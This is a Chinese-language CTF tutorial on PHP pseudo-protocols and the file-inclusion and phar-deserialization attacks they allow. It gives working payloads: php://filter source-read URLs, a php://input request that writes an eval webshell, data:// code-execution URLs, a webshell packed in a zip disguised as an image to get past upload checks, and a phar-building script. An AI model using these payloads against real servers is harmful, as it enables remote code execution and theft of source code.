php伪协议

php支持的伪协议如下:(PHP: 支持的协议和封装协议 - Manual

1
2
3
4
5
6
7
8
9
10
11
12
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

在php.ini中,allow_url_fopen 和allow_url_include会影响到fopen等等和include等等函数对于伪协议的支持; 且allow_url_include依赖allow_url_fopen,所以allow_url_fopen不开启的话,allow_url_include也是无法使用的

file:// 协议

  • file:// — 访问本地文件系统; ctf中常用于读取本地文件、配合curl_exec实现任意文件读取(curl支持伪协议)

  • 条件:

    • allow_url_fopen:off/on
    • allow_url_include :off/on
  • 作用:
    用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。
    include()/require()/include_once()/require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的。

  • 说明:
    file:// 文件系统是 PHP 使用的默认封装协议,展现了本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。在很多情况下是脚本所在的目录,除非被修改了。使用 CLI 的时候,目录默认是脚本被调用时所在的目录。在某些函数里,例如 fopen() 和 file_get_contents(),include_path 会可选地搜索,也作为相对的路径。

  • 用法:

    1
    2
    3
    4
    5
    6
    7
    ?xxx=file://文件的绝对路径和文件名

    eg: ?xxx=file://C:/Users/hungs/Desktop/eg.txt

    file://[文件的绝对路径和文件名]
    file://[文件的相对路径和文件名]
    file://[文件的网络路径和文件名]

http:// & https:// 协议

  • 条件:
    • allow_url_fopen:on
    • allow_url_include :on
  • 作用:常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。
  • 用法:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    http://example.com
    http://example.com/file.php?var1=val1&var2=val2
    http://user:password@example.com
    https://example.com
    https://example.com/file.php?var1=val1&var2=val2
    https://user:password@example.com

    eg:
    http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

php:// 协议

  • 条件

    • allow_url_fopen:off/on
    • allow_url_include :仅php://input php://stdin php://memory php://temp 需要on
  • 作用:php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码

  • 说明:PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

协议 作用
php://input 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype=”multipart/form-data” 的时候php://input 是无效的。
php://output 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。
php://fd (>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。
php://memory php://temp (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。
php://filter (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

php://filter参数详解:该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:

php://filter参数 描述
resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。
read=<读链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(*\ *)分隔。
write=<写链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(\ )分隔。
<; 两个链的过滤器> 任何没有以 read=write= 作前缀的筛选器列表会视情况应用于读或写链。

可用的过滤器列表(4类):此处列举主要的过滤器类型,详细内容请参考:https://www.php.net/manual/zh/filters.php

字符串过滤器 作用
string.rot13 等同于str_rot13(),rot13变换
string.toupper 等同于strtoupper(),转大写字母
string.tolower 等同于strtolower(),转小写字母
string.strip_tags 等同于strip_tags(),去除html、PHP语言标签
转换过滤器 作用
convert.base64-encode & convert.base64-decode 等同于base64_encode()和base64_decode(),base64编码解码
convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码
压缩过滤器 作用
zlib.deflate & zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建 bz2 兼容文件的方法。
加密过滤器 作用
mcrypt.* libmcrypt 对称加密算法
mdecrypt.* libmcrypt 对称解密算法

举例

1
2
3
4
5
6
7
1、php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)

http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

2、http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?phpfputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

zip:// & bzip2:// & zlib:// 协议

  • 条件:
    • allow_url_fopen:off/on
    • allow_url_include :off/on
  • 作用:zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。
1
2
3
4
5
6
7
8
9
10
11
12
1、zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

2、compress.bzip2://file.bz2
压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

3、compress.zlib://file.gz
压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz

data:// 协议

  • 条件:
    • allow_url_fopen:on
    • allow_url_include :on
  • 作用:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
  • 用法:
    • data://text/plain,
    • data://text/plain;base64,
      1
      2
      3
      4
      5
      1. data://text/plain,
      http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

      2、data://text/plain;base64,
      http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

phar://

  • phar:// — PHP 归档,将多个文件组合成一个文件

  • 不受allow_url_fopenallow_url_include影响

  • 运用:

    1、绕过上传限制

    可以利于phar://绕过一些上传限制,多数情况下搭配文件包含使用

    1
    2
    3
    4
    5
    6
    7
    8
    # 构造木马shell.php->(压缩)xxx.zip->(修改后缀)xxx.jpg->上传->phar://xxx.jpg/shell.php
    1、构造木马 shell.php:
    <?php @eval($_POST["cmd"]);?>
    2、将shell.php压缩,并修改后缀名为jpg:xxx.jpg(实际是带有文件shell.php但修改了后缀名的压缩包)
    3、上传xxx.jpg并配合文件包含解析木马(payload:'phar://xxx.jpg/shell.php'):
    <?php
    include('phar://xxx.jpg/shell.php');
    ?>

phar反序列化漏洞

  • (ps : 也是反序列化漏洞,但无需借助unserialize()函数)

  • PHP反序列化漏洞通常是借助unserialize()函数利用phar:// 伪协议也可以触发PHP反序列化漏洞: 1、phar文件以序列化的形式存储用户自定义的meta-data; 2、当使用phar://读取phar文件时,就会反序列化meta-data储存的信息

  • 利用条件:(ps:由此可以知道如何修复漏洞咯~) 可以上传phar文件 有可用魔术方法 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤

  • 受影响的文件操作函数:(参考 zsx师傅Phar与Stream Wrapper造成PHP RCE的深入挖掘)可知: 除了所有文件函数,只要是函数的实现过程直接或间接调用了php_stream_open_wrapper的函数,都可能触发phar反序列化漏洞(具体看zsx师傅的博客,写的很明了~) 源自创宇测试

  • phar文件: 在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发

    • php>=5.3:默认开启支持Phar,文件状态为只读(phar.readonly=on),而且使用phar文件不需要任何配置。php使用phar://伪协议来解析phar文件的内容。 ps:需php.ini中令 phar.readonly=off并去掉其前面的分号;否则无法生成phar文件
  • phar文件结构:

    1
    2
    3
    4
    5
    6
    7
    8
    1. stub
    phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则phar不会识别此部分。xxx可以为自定义内容。
    2. manifest
    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分会以序列化的形式存储用户自定义的meta-data,这里是漏洞利用的关键所在,正是因为meta-data是以序列化的形式存储
    3. content
    被压缩文件的内容,通常情况下这里是可以随意输入的
    4. signature (可空)
    签名,放在末尾。
  • demo:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <?php    
    class Test{
    var $string;
    function __destruct(){
    echo "Phar create done";
    }
    }

    @unlink("test.phar");
    $phar = new Phar("test.phar");#.phar文件,(后缀名必须为phar)
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); #stub(1)
    #检测图片头时,可以添加gif头来绕过:GIF89a

    $o = new Test();
    $o->string = "bphar";#类的属性

    $phar->setMetadata($o); #将自定义的meta-data存入manifest(2)
    $phar->addFromString("bphar.txt","bphar"); #添加压缩文件(3)
    $phar->stopBuffering(); #签名自动计算(4)
    ?>

在使用Phar:// 协议流解析Phar文件时,Meta-data中的内容都会进行反序列化 (也就是phar文件中的反序列化部分)

  • 利用:
    1. 上传phar文件,并借助phar://协议访问phar文件,从而将Meta-data中的内容反序列化
    2. 在创建时必须是phar后缀($phar = new Phar(“exp.phar”); //.phar文件) 上传时为了绕过限制,则可以修改文件后缀、添加图片头从而达到上传的目的